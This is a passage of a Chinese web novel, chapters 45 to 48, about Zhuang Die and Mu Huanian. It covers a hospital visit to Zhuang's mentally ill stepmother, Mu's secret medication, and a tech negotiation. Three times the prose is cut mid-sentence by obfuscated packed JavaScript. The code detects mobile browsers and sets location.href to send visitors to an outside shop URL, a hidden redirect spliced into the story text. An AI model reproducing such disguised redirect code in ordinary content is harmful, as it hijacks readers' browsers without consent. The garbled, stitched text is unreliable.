孙潇挑了挑眉,她没想到慕华年有胆识单挑恒远这个百强企业。 “拿下恒远后,对军方就得放低姿态。既然连恒远都觉得电缆维护是巨大开销,一般公司更撑不住。采用军民协议,把维护费内化成寰方的运营成本,给军方一个降低投入的理由。同时我们要的也不多,狐假虎威就行。” “我去,你真是个天才。” 孙潇看着慕华年,眼睛发亮。这一刻,她动了挖人的心思。 “不过你怎么确定是我想出来的?我只是寰方法务团队的一个小员工。” 慕华年转身面对孙潇,她耸耸肩道:“我是专业HR。” “你是HR?那能让我去你们公司吗?” 那天孙潇没有立即答应慕华年的请求。 虽然求贤若渴,但她知道天下没有免费的午餐。 不过她很庆幸最终留下了慕华年,即使差点因此失去分区总裁的位置。 “那我换个问题,如果没遇到我,你真被庄逸彻底雪藏了,你打算怎么办?” 孙潇不是不讲理的人,慕华年不说,她也就一笑置之。 “回老家考公务员,”慕华年说,“我没什么理想,你知道的。” “你现在也算半个公务员,殊途同归,”孙潇认真看了慕华年一眼,“不过真那样了,你舍得你那个小家?” 慕华年目光垂了一瞬,“不舍得,可我尽力了。” 孙潇还记得和慕华年签合同那天,一向谨慎的他看都没看就在一百页的合同上签了名,签完只对她说了一句:“别让我外派,我得留在江城。” 孙潇好歹活了三十多年,虽然她的婚姻不够完美,可她始终记得慕华年说“爱人”时的神情。她没有追问,却对一切了然于胸。 “你不会守着那个房子过一辈子吧?” “不会,房子物归原主了。” “嗯,”孙潇下意识应声,猛地反应过来后跳到慕华年面前,“人回来了?” “回来了。” “那怎么说,能让我见见吗?” 慕华年低头笑了笑没回答。手中的手机震动,是路远舟发来的照片和一句话:“把庄迭借我一天,让他陪我逛逛江城。” 照片上的人笑容灿烂,坐在东江北岸的西餐厅里。 目光再往上移,一切明了。这餐厅慕华年去过,点了和庄迭一样的番茄烩饭。 慕华年把手机递给孙潇,起身走到落地窗前。 从他的位置也能望见那条江,不过他在南岸,庄迭在北岸。 “他叫什么?” “庄迭。” 45. 第 45 章 “庄迭!” 路远舟把微信发过去,半天没等到慕华年回复,用脚踢了踢庄迭的小腿,问:“这哥们怎么感觉比三年前更冷淡了?” 庄迭没接话,他正盯着碗里的烩饭发呆。 番茄有点酸,不如他自己做的好吃,他不自觉地撇了撇嘴。 “不是,你怎么也这么冷淡?没听到我说话?” “哦,你说什么?” 庄迭回过神,转头看见墙上挂着“东江必吃榜”的牌子——他就是冲着这个来的,想着慕华年可能也来过。 “我说慕华年!怎么这么冷淡!”路远舟把手机递到庄迭面前。 看到自己的照片,庄迭下意识想撤回,却发现已经过去十分钟了,他心里莫名生出些烦躁。 “可能忙吧,”庄迭继续吃那盘饭,越发觉得食之无味,“不过他倒也不冷淡,至少床上不冷淡。” 这话一出,路远舟嘴里的气泡水在舌尖转了三圈才咽下去。他指着庄迭正要说话,手机震了一下。 庄迭抢先拿过手机,聊天框弹出一条新消息:“他那盘烩饭不好吃,给他重新点份三文鱼意面。” 下面还附着个288的微信红包。 “你好,加一份三文鱼意面。”庄迭叫来服务员。 路远舟疑惑地拿回手机看了一眼,咂咂嘴:“回国了倒是过上资产阶级生活了,我记得他以前从不浪费粮食。” “他是不浪费,浪费粮食的不是我吗?” 庄迭说这话时带着笑,路远舟又偷偷拍了张照片发给慕华年。 “你就惯着吧。” “对了,TOTT的人来消息了,约明天下午吃饭。初步意向书发你了。” 发完照片,路远舟没继续那个带颜色的话题,他看得出庄迭说那话时并不开心。 “他来吗?” 路远舟摇了摇头,“没说。估计先是市场部来谈,最后才到合规审查。” “他不知道谈判的是我们吧?” 庄迭打开PDF,翻了二十多页,看到法务部的意见和慕华年的签名。 “至少不知道有你。” 路远舟语气带着调侃。庄迭白了他一眼,看法务部分时不自觉地放慢了速度。 “您好,您的意面。” 庄迭道了谢,把平板放到一边。 面前的小盘撒着奶酪碎,还没吃就闻到淡奶油和罗勒的香气。他用叉子卷起一根面试了试味道,满意地笑了,用苏打水漱口后,开始认真享用这盘午餐。 “不过说真的,你也够煞费苦心的,为了瞒他非要搞校企联合。要我说如果直接从总公司分出来,TOTT不一定攀得上我们。” 庄迭嚼着面,抬头看见TOTT大楼。 刚才路远舟拍的照片正好把他和大楼框在一起。 他拿出手机拍了张TOTT大楼的照片,随手发了朋友圈:“又见面了。” “也不全是瞒他,主要是防着庄遥。江城毕竟是人家地盘,公司要是写我的名字,你觉得进得来吗?” 路远舟冷哼一声,灌了一大口柠檬水:“你还是在躲,都躲一辈子了。” 庄迭笑了笑也不反驳,恰巧一朵云飘过遮住阳光,他抬头看了看,嗅到潮湿的气息。 “不过一轮融资的事你得抓紧了,到时候我刚好以高管身份出席。” “怎么,被我激到了?” 庄迭摇头,“老庄死了,他们不会让我过得这么舒服,迟早要打一仗的。毕竟,哪来那么多兄友弟恭?” 江城的西餐厅主打物美价不廉。庄迭说完话,三下五除二吃完盘子里的面,看了眼时间开始收拾包。 “下午你自己安排吧,我去趟医院。” “不是不演了吗?”路远舟靠在椅背上饶有兴趣地看着他。 “都演这么多年了,总得有个谢幕。” 过去十五年,庄迭拢共回来过八次,每次都会来这家康养医院,这是全国著名的精神卫生中心。 庄迭记得自己第一次来时被突然高歌的病人吓了一跳,下意识躲到张宪身后。 那时他刚十二岁,是出国后第一次被接回来。 时隔三年,庄迭已经记不清于悯慧的病房了,他凭着记忆找到住院部大楼。 “庄迭?好久不见。于太太前几天还念叨你呢。” 刚走到楼下,一个面熟的护工叫住他。小姑娘褪去了青涩,多了几分成熟女人的韵味。 “这次外派时间久了点,不好中途回来。麻烦你了,谢雯。” 说完庄迭才意识到用了慕华年给他找的借口,不自觉地笑了笑。 谢雯很少见庄迭笑,乍一看更赏心悦目了。她脸一红,把病历本抱在怀里,走到庄迭身边。 “我的工作嘛,谈什么麻烦。再说了你们家给的钱多,于太太也不难照顾,这钱挣得轻松。” 谢雯轻车熟路地上楼,庄迭趁机跟上,却没再接话,只抽了抽嘴角作为回应。 “对了,前段时间庄小姐来过,给于太太换了间病房。” “多久前?” “庄先生走后没几天吧?”谢雯顿了顿,“抱歉,节哀。” 庄迭摇头。谢雯一边走一边继续说:“新病房小点,但更安静,于太太挺喜欢的。” “她喜欢就行。” 上到七楼,谢雯突然停下转身,略带歉意地说:“不好意思啊,刚才光顾着聊天,下意识走楼梯了。” “没事。” 庄迭低头笑了笑,没戳破谢雯的心思。 谢雯是于悯慧的第四个护工。前几个都是上了年纪的高级护工,只有她十八岁就被选上了——没什么特长,就是长得好看。 当初庄均存嫌她年纪小不想用,她硬是跑到于悯慧病房免费干了一个月,什么脏活累活都干,于悯慧发脾气时就在旁边当受气包。 那时二十一岁的庄迭来看于悯慧,碰巧听到病房里不堪入耳的话。小姑娘眼睛红着,一声不响地在床边给于悯慧擦手。 庄迭莫名想起了霍玲。 “留下吧。” 那天庄遥也在。庄迭和她打了个照面,庄遥开了口。庄均存意味深长地看了她一眼,没说什么,让秘书带谢雯去签了合同。 之后只要庄迭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111641|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,谢雯总是跟在他身边,格外热情。 这姐弟俩的心思不难猜,又或者他们觉得庄迭根本配不上更高级的手段。 庄迭想到这又笑了。谢雯转头问:“你今天怎么这么开心?” 庄迭摇头,过了一会儿问:“你今年二十三了?” “嗯,再过两个月。” 谢雯放慢脚步,把病历本换到另一只手上夹在腰侧。庄迭跟在她后面,如果抬头就能看到女孩曼妙的曲线。 可庄迭偏偏低着头从她身边绕过去,在楼梯间层停下来看着她。 “怎么了?” “谢雯,你已经浪费了五年了,”庄迭抬眼看着她,“但你还很年轻,还有很多选择。别让眼前的人拦住你的路,也别为任何人放弃原本光明的人生。” “你在说什么啊?”谢雯低着头小声嘀咕,“我没读过多少书,听不懂。” 庄迭叹了口气,笑着说:“也许你觉得今天多爬两层楼,就能换下半辈子不用再爬。但实际上,你现在就有坐电梯的机会——可能挤一点,但一定能带你到想去的地方。而这条楼梯,你甚至不一定能爬到下一层。” “这世界上没有那么多一劳永逸的事情。” 庄迭话说得不重,也不直接,可谢雯眼睛一红撇过头,他知道她听懂了。 “告诉我病房号就行,你去忙吧。” “我忙什么啊,”谢雯声音越来越小,“我工作就是这个啊。” “当初我给你的营养师和育婴师的书,看了吗?” 庄迭不再纠结这个问题。他眉头一皱,语气冷了下来。 当初跟慕华年回国后,庄迭只来过一次医院。那次他没去看于悯慧,而是特意找到谢雯,带了一箱子书给她,嘱咐她一定要看,考几个资格证,可能的话再学学英语。 “我都考出来了。” 谢雯更委屈了,揉了揉鼻子,她当然知道自己在这里耗了五年。 “雅思能考到多少?” 庄迭继续问,像高中教导主任。听说谢雯考了证,他脸色稍缓,但语气依旧冷淡。 “勉强6分。我底子太差,写作和听力提不上去。” “够了,”庄迭拿出手机翻微信联系人,找了一会儿把手机递过去,“加这个人,他能帮你找工作。工资比现在高,工作内容就是教外国小孩中文,比在医院轻松。当然你如果愿意出国,工资会更高。” “庄迭……” “谢雯,”庄迭打断她,“我挺高兴你没有叫我‘庄先生’,可我也知道你为什么直呼我的名字。” 庄迭依旧举着手机,看着小姑娘颤颤巍巍地输入那串微信号。 他原本可以先加她微信再推名片,可他觉得没必要。 “你很聪明,很勤快,你明明可以靠自己活得很好。” 说这话时庄迭有些恍惚。他微微闭眼,想起霍玲扛着大包小包带他去广东进货的背影 很奇怪,这是他第一次如此清晰地记起霍玲。 “当然,你也可以继续坚持,不过可能要换个人坚持了,”庄迭笑着收起手机,“因为我有喜欢的人。” 46. 第 46 章 “妈。” “小逸来啦?快来看,妈妈今天插的花多漂亮。” 庄迭按照谢雯的指引走进病房,于悯慧正坐在窗边的小桌前修剪花枝。 “我也学过一点插花,您让我试试?” 庄迭不动声色地从于悯慧手里接过剪刀。正好护士进来查房,他晃了晃手里的剪刀,护士立刻会意,快步走过来接过,低声说:“抱歉,可能是上次手工课她自己藏了一把。” 庄迭什么也没说,等护士离开后关上了房门。 这间病房确实比之前那间小了不少。庄迭不禁冷笑,他没想到庄遥对自己妈也这么狠。 “小逸,想什么呢?”于悯慧凑过来。庄迭低头看她,三年不见,连养尊处优的于悯慧也老了许多。 “没什么,”庄迭自然地挽过她的胳膊,“我给您洗个苹果?” “不吃了,小谢午饭后刚给我洗过一个。对了,她人呢?” 于悯慧说着就要往外走,庄迭抢先一步挡在门口:“她有事,以后可能都不来了。” “啊?又换人啊?”于悯慧撇撇嘴坐回床上,“我挺喜欢这姑娘的。” “是吗?”庄迭笑了笑,没再接话。 “算了,换就换吧。”于悯慧拍拍身边的床铺,“来,妈妈和你说说话。你今年该大学毕业了吧?” “嗯,论文刚写完。” 庄迭在她对面坐下,于悯慧伸手摸了摸他的头发:“我们家庄逸长大了,能帮姐姐和爸爸做事,也能帮妈妈打坏人了。” 庄迭眼神暗了暗,嘴角扯着一抹笑:“是,不会再有坏人了,坏人都死掉了。” “死有余辜!”于悯慧突然提高声量,“那个贱女人就该死!” “是,她死掉了,很早就死掉了。” “她的坏小孩呢?他也该死。” 庄迭顿了顿,干笑几声,抬手扶住于悯慧的胳膊,让她继续抚摸自己的脸。 “十二岁的时候就死掉了。” 从他十二岁起——不,按于悯慧的记忆,是从庄逸九岁开始——她就把记忆中的庄逸和庄迭混为一谈,坚信庄迭才是她的小逸。 庄均存第一次发现这事,是带庄逸去看于悯慧。 之前都好好的,那天庄逸一推门就被于悯慧打了出来。 “滚!都给我滚!你怎么敢带这个狗东西来我面前耀武扬威!” 庄逸在走廊里嚎啕大哭,他不知道自己做错了什么,庄均存也不知道。 后来医生诊断可能是卡普格拉斯妄想症——于悯慧用脑海中庄迭的形象替换了自己的儿子。 很荒谬,但这一切就发生在庄迭被送走后的第三年。 那年暑假,张宪接到庄均存的电话。小庄迭正在小花园看漫画,听见张宪罕见地爆了粗口,连着骂了庄均存十分钟。 那是小庄迭记忆中张宪发过最大的脾气。 “张叔,怎么了?” “你别管,去看书。等会儿带你出去吃饭。” 小庄迭点点头,缩回竹椅里。来荷兰三年了,他还是没交到朋友,每天只能看书画画。 好在下学期要上初中了。他收拾好从国内带来的漫画书,打算用最喜欢的东西换取友谊。 那天晚饭时张宪一言不发,小庄迭时不时偷看他。他信任张宪,却不敢像其他孩子依赖父母那样依赖他。 “庄迭。” 收拾完碗筷,张宪走进花园,他看上去很犹豫。小庄迭放下书,小心翼翼地问:“是我做错什么了吗?” 张宪听完这句话,转身就走。他实在说不出口。 三天后,小庄迭的手机响了,可他根本没给任何人留过电话号码。 “喂,哪位?”他用不太熟练的荷兰语问道。 “我。” 是爸爸。 小庄迭松了一口气,却发现自己不知道该说什么,只好让电话就这么通着。 “那个……你张叔在吗?” “不在,他去帮我联系学校了。” “那你吃过早饭了吗? “吃过了,他陪我吃完饭才走的。” 小庄迭觉得这样的对话真的很生硬,可他没有勇气挂掉,他甚至还下意识存下了这个号码。 “庄迭,”庄均存郑重地叫了他的全名,“你这个暑假回来一趟吧。” “嗯?为什么?” 小庄迭的语气里带着一丝他都没有意识到的期待。 那时他虽然不喜欢庄家,可他也还没有习惯出门都是外国人的街头,他会无措,因此不敢出门。 电话那头的庄均存不知道如何解释这诡异的情况,甚至不确定于悯慧会不会认识庄迭,但他试遍了所有办法,庄迭是唯一的希望。 这是他对于悯慧的愧疚,毕竟于悯慧因他而疯。 “好的,爸爸。” 在对方的沉默中,小庄迭选择了妥协。但当他把回国的事告诉张宪时,张宪摔碎了手中的杯子。 “张叔对不起。” “你道什么歉?你做错什么了?都他妈是庄均存作孽!” 张宪怎么会不知道发生了什么,他又怎么会不知道庄迭想回国,他又怎么会不生气。可他看到小庄迭谈起庄均存时眼中的期待,他到嘴边的话又咽了回去。 又过了三天,小庄迭回到江城,下车就被庄均存接走了。 车上,张宪一直紧握着小庄迭的手,庄均存从后视镜里看着他们。 “等会儿见到于阿姨要问好,她说什么你都答应。她脑子不太正常,但不会伤害你。” “呵,”张宪冷笑了一声,“你自己信吗?” 小庄迭看看张宪,又看看庄均存,乖乖点头,往张宪怀里缩了缩。 于悯慧果然认错了人。 当她喊出“小逸”时,小庄迭下意识后退,但庄均存站在他身后:“去。” 从那天起,庄迭死了,死后还做了整整八年的庄逸。 在病房待了一个小时,重复着过去每次来都会重复的话,最后的落脚点永远是该死的霍玲和该死的自己。 庄迭走出病房,深吸一口气站在窗边吹风。他又想抽烟了。 他拿出手机给慕华年发消息:“事情结束得早,回家吃吧。” “好。”对面几乎秒回。 庄迭看着屏幕笑了笑,可正要关窗时,他却看见慕华年从楼下走过。 “慕华年。” 庄迭的声音从背后响起,慕华年手里的药应声落地。 “你在这干嘛?” 两人同时发问,却都藏着不能说的秘密。 庄迭走过去想捡药,慕华年却抢先一步拿起病历单。 他的仓皇让一切昭然若揭。 “给我。” 慕华年不动,只是盯着他。 “要我抢吗?” 庄迭抬头对上他的目光,却不敢久视。 “庄迭,你为什么在这?” “你有什么资格问我?” 慕华年轻笑一声,点头:“是,我没资格。” 庄迭偏过头深吸一口气,还没开口,慕华年先退了一步。 “庄迭,你真的了解我吗?” 轰然间,这句话引得天崩地裂,嘶鸣声在庄迭耳边响起。 他手里还攥着慕华年的药,药盒被他捏得变形,他甚至能尝到胶囊的苦涩在舌尖蔓延,苦得他说不出话。 原来噩梦成真是这种感觉。 慕华年笑了笑,接过药盒,和其他药一起装进塑料袋。 这是他一个月的量。在他用药过程中,这还算少的。最严重时,他每天吃饭就是为了吃药。 这一切,庄迭都不知道。慕华年不敢让他知道。 “多久了?” “你说吃药吗?”慕华年拎起药袋看了看,“七年。” 说完他才反应过来,看向庄迭的眼神是从未有过的温柔。 “放心,不是因为你。我说过,我本来就不是一个很好的人。” “所以你才会觉得我在可怜你。” 庄迭恍然大悟在痛彻心扉的这一瞬间。 “是。” 那年冬天,在慕华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111642|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年看来,庄迭的爱是看他落魄时一掷千金的小费;是看他感冒时笨手笨脚下厨;是看他失意时放弃事业陪他回国。 所有这些,都只因为庄迭是个很好的人。他的爱很好,给谁都很好。自己只是碰巧得到了这份弥足珍贵的爱。 “庄迭。” 工作日的医院依旧人满为患,庄迭努力捕捉慕华年的声音,却只能看见他的嘴唇在动。 “我其实很后悔最初和你在一起过。” 庄迭僵在原地,后知后觉地听清了“后悔”二字,那一刻他的眼泪流下来了。 慕华年看到了,可他选择与庄迭擦肩而过。 他在告诉庄迭,这就是他原本的样子。 那天,庄迭没有回家。 慕华年回家后一直坐在沙发上,第一次坦然地把药放在茶几上。他没想到自己的演技这么好,一年多的朝夕相处他瞒得滴水不漏。 二十一岁的慕华年第一次吞下苦涩的药片,因为没吃早饭,早八课上到一半,他在厕所吐了半小时。 出来时碰上代课老师,没等他请假,老师拍拍他的肩:“放轻松,回宿舍睡一觉吧。” 放轻松。 这三个字随着水流声在慕华年脑海中回荡。他至今没能做到,但很感激那位老师准他早退,因为回宿舍的路上他又吐了一次。 不过这只是最初的副作用。后来随餐服药已成习惯,只是他从没让庄迭看见。 这是他众多谎言中的一个。 凌晨四点,慕华年起身去书房,刻意避开所有与庄迭有关的东西,拿了本书回到沙发上看。 凌晨五点,他活动了下腰,走进卫生间,一个小时后他重新出来,此时的江城一轮新日逐渐越过地平线。 凌晨六点,他泡了碗麦片,发现罐子见底了。他把剩下的全倒出来,吃了近二十四小时内的第一顿饭。 早上七点,他换上运动服出门跑步,遇到了邻居阿姨去买早点。阿姨要分他一笼包子,他笑着说吃过了,继续往前跑。 早上八点,他绕东江跑完一圈回家,冲了个二十分钟的澡,吹干头发,换好衣服出门上班。 这就是他过去的三年。 日子,不过是回到了半年前而已。 “慕总,SP的合作你去谈吗?还是交给方礼?” 孙潇敲门进来,见慕华年站在窗边出神,桌上放着杯咖啡。 “我去。” 孙潇顿了顿,走到窗边,问:“你不舒服吗?” “没事。” 慕华年没理会她,回到座位上叫来唐沉。 “和SP约的几点?” “下午五点,斯莱特酒店。” “你先等等,”孙潇拦住唐沉,“小唐你先出去,我有事和他说。” 慕华年抬头看着孙潇,抿了口咖啡。等唐沉离开,孙潇在他对面坐下。 “你不对你知道吗?” “哪儿不对?”慕华年嘴角噙着笑,却低下眼不再看她。 “和快死了一样。” 慕华年笑了一声,一口气喝了半杯咖啡,“我不是每天都这样?” “昨天话没说完你就走了,去哪儿了?” 孙潇不再绕弯子。昨天他们聊起庄迭,慕华年难得说了些两人的事,今早回来就变成这样了。 肯定和庄迭有关。孙潇这二十年HR不是白当的。 “你真的很好奇员工的私生活,这不好。” 慕华年又变成了一副防守的姿态,俗话说的油盐不进。 孙潇看着他,慕华年就看回去,依旧一言不发。 “得,您自己个憋着吧,憋死算了。” 孙潇白了他一眼,走到门口又停住:“下午你别去了,这副样子别吓着那几个大学生。” “行,听你的。” 慕华年没有坚持,他知道自己状态不好。 昨天的药没吃。不知道为什么,就是没吃。 慕华年靠在椅背上闭目养神。不知过了多久,电话响起,他看了一眼,是路远舟。 他没接。 47. 第 47 章 “我去,这孙子连我电话都不接了。” 路远舟放下手机,看了眼瘫在沙发上的庄迭。 这人昨天下午从医院回来就这副德行,问什么都不说,却一口气抽了半盒烟。 他实在看不下去,走过去抢过庄迭手里的烟按灭,把窗户和新风系统全打开,没好气地说:“要死别拉我垫背,我老婆还在家等我呢。” “哦。那我出去抽。” “你给我滚回来坐下。” 庄迭刚走两步就被拽回来,整个人摔在床上。他也不急着起来,干脆闭眼躺着。 “行,他不管你,我管。我最后问你一遍,昨天是不是遇见庄逸了?还是庄遥?他们说什么了?对你做什么了?” 路远舟搬了把椅子坐在床边,一副要跟他耗到底的架势。床上的人翻了个身,用被子蒙住头,把自己裹成了蚕蛹。 “庄迭,要不你跟我回荷兰吧,”路远舟踢了他一脚,“反正你都跑过一次了,是惯犯。” “滚。” 路远舟笑了,靠在椅背上又踢他一脚:“我哪句话说错了?三年前在机场见到你的时候你就这德行,你……”他突然顿住,直起腰,“不对,你跟慕华年怎么了?” “能不能不问了?” “不能,”路远舟表情严肃起来,“我们下午还和TOTT谈判呢,你这样让我怎么谈?” “我不去。” “得,那我自己去,”路远舟的猜测得到证实了。他又看了眼手机,他给慕华年打了五个电话,一个都没接,“不管能不能成,我半个月后就回国。” “可以。要是不成,就跟小宋他们说一声,我们直接合并。” 路远舟没再追问,起身到窗边打电话。二十分钟后,房门被敲响。 “哥。” 路远舟打开门,门口的小孩一身黑,甚至还带了一顶黑色的鸭舌帽,脆生生地喊了一声。 路远舟搂着他肩膀把人带进屋,“你庄哥装死呢,下午不去,就咱俩。” 小孩瞥了眼床上的人,在路远舟刚才坐的位置坐下,说:“那我也不去了。” “不儿,宋庭翮你又怎么个事?你们一个两个,我欠你们的?” 路远舟走过去一人给了一下。他本来还打算谈完合作好好让慕华年尽一下地主之谊,为此特意订了长租套房,现在看来真是多余。 “你为什么不去?”庄迭从被子里露出半个脑袋。 宋庭翮抬头看他,“那你为什么不去?” “你个小孩管得着吗?” “你就比我大三岁。” 庄迭又不说话了。宋庭翮和路远舟对视一眼,后者摇了摇头。 宋庭翮把帽檐向上抬了一寸,露出一双很好看的眼睛,“对面今天只有技术部和市场部,法务不来。” “为什么?” “说是病了。” 被子里的人顿了一下,一个鲤鱼打挺坐起来,问:“什么病?” “我直接问不太礼貌。你要好奇,发微信问呗。"宋庭翮面无表情地说完,路远舟给他竖了个大拇指。 “走,准备准备出发。” 三人到酒店时才五点不到。宋庭翮拿出电脑坐在一边改PPT,庄迭在另一边闭眼听歌,路远舟夹在中间玩手机。 “对了,对方提出的两个改进方案你写好了吗?”路远舟问。 “好了。”宋庭翮回答干脆。 他做事向来高效,这也是庄迭在他还没毕业时就把他招进公司的原因。 只不过一想到今早提改进方案的那个人,宋庭翮就没来由地烦躁。 也怪他自己,背调没做清楚。 不过没做清楚背调的也不止他一个。 “你好,是SP的负责人吗?” 三人同时抬头。 路远舟放下手机,看见面前站着个戴眼镜的男人,看着有点呆,说话时还扶了扶镜框。 “是,我叫路远舟,代表SP来和您方谈合作。”半天就是没说具体职位。 “好的好的,我叫方礼,TOTT研发部总监。” 方礼看到路远舟和庄迭时愣了一下——这两张脸他可太熟悉了。 慕华年家为数不多的几张照片里,除了和父母的,就是跟他们俩的。 只不过庄迭和路远舟从没见过方礼。 方礼顿了顿,很快回过神和路远舟握手,有些不自然地转向庄迭,“那这位是?” “我助理。”路远舟抢先回答。 方礼没再追问,只是对庄迭笑了笑。他身后的Mike始终没说话,趾高气扬地跟着。 很傲慢。庄迭和路远舟对视一眼,都在对方眼里读到了同样的想法。 等方礼走到宋庭翮面前时,坐在沙发上的小孩“啪”地合上电脑,站起身直白地打量着他。 “你好,方礼。” “你好,宋庭翮。” 听到两人直接叫出对方名字,庄迭饶有兴趣地看着宋庭翮。 这是这孩子第一次有这么明显的情绪波动。 互相打完招呼,方礼带着人往包间走。庄迭落在最后,跟宋庭翮说悄悄话。 “认识?” “我老师。” “那你胆子够大的,直呼其名?” “睡过。” 宋庭翮不兜圈子,他知道庄迭想问什么。撂下这句话就快步走到人群中间,既不靠近方礼,也不搭理庄迭。 “你听见没?”庄迭一边问一边盯着宋庭翮的背影。 路远舟说:“你看看人家小宋多大方,再看看你。” 庄迭瞪了他一眼。 这顿饭本来可以愉快结束,如果庄迭没提前知道方礼和宋庭翮的关系的话。 席间宋庭翮拿着电脑和Mike唇枪舌剑,他是IC的博士生,英语法语都很溜。 Mike本想给他个下马威,结果被宋庭翮一句“能让懂技术的人来跟我聊技术吗”给噎了回去。 “嗯,那你说,我听着。” 方礼和宋庭翮之间隔着个庄迭,他说话时盯着手里的杯子,宋庭翮却明目张胆地看着他:“想用我们的V2X和算法?可以,把你们的配套方案拿出来。” “底层系统搭建已经完成,之前的计划书里写清楚了,信息部分……” “告诉我计划书里没有的。” 见宋庭翮一副公事公办的态度,方礼突然也卸下了包袱,他喝口杯子里绿茶,对上宋庭翮的眼睛。 “V2X的核心是信任与开放,这点我比谁都清楚。我们可以完全向你们开放数据流,但作为交换,我需要你们异构加速架构的底层权限。” 宋庭翮往后一靠,嘴角勾起弧度,说:“然后由着你在最关键的时候‘掉线’?” “掉线”两个字像根针,精准扎进方礼最心虚的地方。 旁边的庄迭把椅子往后挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111643|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了挪,恨不得躲到路远舟右边去。 “这次不会,”方礼吸了口气,声音沉下去,“你可以派驻核心工程师,全程监督数据融合进程。或者,你亲自来。” 最后几个字轻得几乎听不见,却让宋庭翮敲键盘的手指停了下来。他抬头看着方礼,目光沉甸甸地压在对方身上。 过了好几秒,他重新开口:“把这条补进合同,然后签上你的名字,方礼。” 宋庭翮没等方礼回答,起身离开了会议室。 “那这算是谈成了?”路远舟觉得自己也坐不住了。 他没想到除了庄迭,还有个宋庭翮等着他。他身边这些人怎么一个比一个难搞。 “我回去和Jeffrey确认一下,然后找慕谈最终合同。对了,今天慕身体不舒服,下次开会他会来的。”一直没动静的Mike终于开口了。 “他怎么了?”庄迭脱口而出。 Mike转到一半又转回来,“他经常这样,喜怒无常。” “你说的是慕华年吗?” 听到庄迭清楚地叫出这个名字,Mike第一次正眼看他,“是,是叫这个名字。” “我是说,你是说慕华年喜怒无常?” Mike听出语气不对,笑了笑没回答,转身跟着方礼走了。 “喜怒无常,蛮搞笑的。”庄迭喝了口茶,拿出手机给宋庭翮打电话。 “你人呢?方礼走了。” “门口,抽烟。” 宋庭翮本来也不爱抽烟,是以前方礼抽,他才学的。 庄迭出门时,看见宋庭翮拿着包烟坐在酒店门口,一下一下滑着打火机的砂轮,那包烟始终没打开。 “别抽了,对身体不好。” “下午我进屋的时候那么大烟味,跟点着了一样,你们桌子上那包烟是自燃的?” “我没惹你。” 庄迭被莫名其妙怼了一句,他瞪了宋庭翮一眼。对方闭了嘴,把烟随手扔进垃圾桶。 “对不起,哥。” “能说吗?”庄迭问。 路远舟递过去一瓶冰水,也蹲在宋庭翮面前,一副等着吃瓜的表情。 “他是我本科时候的老师,不过他是外聘,我就上过他一个学期的课,他给我讲AI4Science。” “重点。”路远舟打断他。 宋庭翮看了他一眼,说:“我喜欢他,很喜欢,现在也喜欢。但他不喜欢我。” “那怎么就睡了?” 宋庭翮喝了口水,干笑几声,“我不知道,可能他也需要解决生理需求吧。” 宋庭翮的直白让庄迭想起第一次见他时的情景。 当时庄迭回荷兰和路远舟商量拓展市场,打算增加无人驾驶这条线,在TUD偶然遇见了宋庭翮。 那时的宋庭翮和现在没什么两样,性格有点怪,说话很冲,但脑子特别好使。 好在庄迭团队里怪人不少,多他一个也不多,于是庄迭向他抛出了橄榄枝。 宋庭翮只看了一眼庄迭的计划书就答应了,庄迭倒也不奇怪。他家境好,交大本硕,本来能留校读博,却选择了IC。 总结起来就是有钱任性。 现在想来,没留校大概率是因为方礼。 “那你们还能见面吗?今天这场面我不想再来一次。” 庄迭没再追问。结果宋庭翮看着他说:“你能见慕华年,我就能见方礼。” 48. 第 48 章 方礼那天晚上破天荒约慕华年出来聊天,他是个不喝酒的人,却选择了江城一家很有名的酒吧。 “合作谈得怎么样?” “你猜我今天看见谁了?” 慕华年要了杯威士忌,指尖轻轻摩挲着杯沿,“谁?” “我们的前男友。” “嗯?我们的什么?” 慕华年愣了一下,没反应过来。 “庄迭和宋庭翮。” 慕华年的动作顿住了。他端着杯子喝了一口,一口见底。 “再来一杯。” 方礼低头笑了笑,说:“果然是因为他你才没去。” “我不知道有他。” 慕华年说着要给唐沉发微信,又觉得说不清楚,便直接拨了电话。 “SP是跟MobileLine合作的项目吗?” 电话那头的唐沉刚下班,被他问懵了,“我们有MobileLine这个合作方吗?” “你只需要告诉我,SP这个校企合作,学校是IC,中间的企业是谁?” 听出慕华年语气严肃,唐沉立刻折回办公室,翻了好一会儿才找到资料,“不是MobileLine,是Vinsas,英国的地产公司。” 慕华年没记错。他皱了皱眉,又问道:“把Vinsas的背景资料发给我。” “他们资产状况很清晰,也很干净,”唐沉一边解释一边把文件传过去,“老大,我的背调有问题吗?” 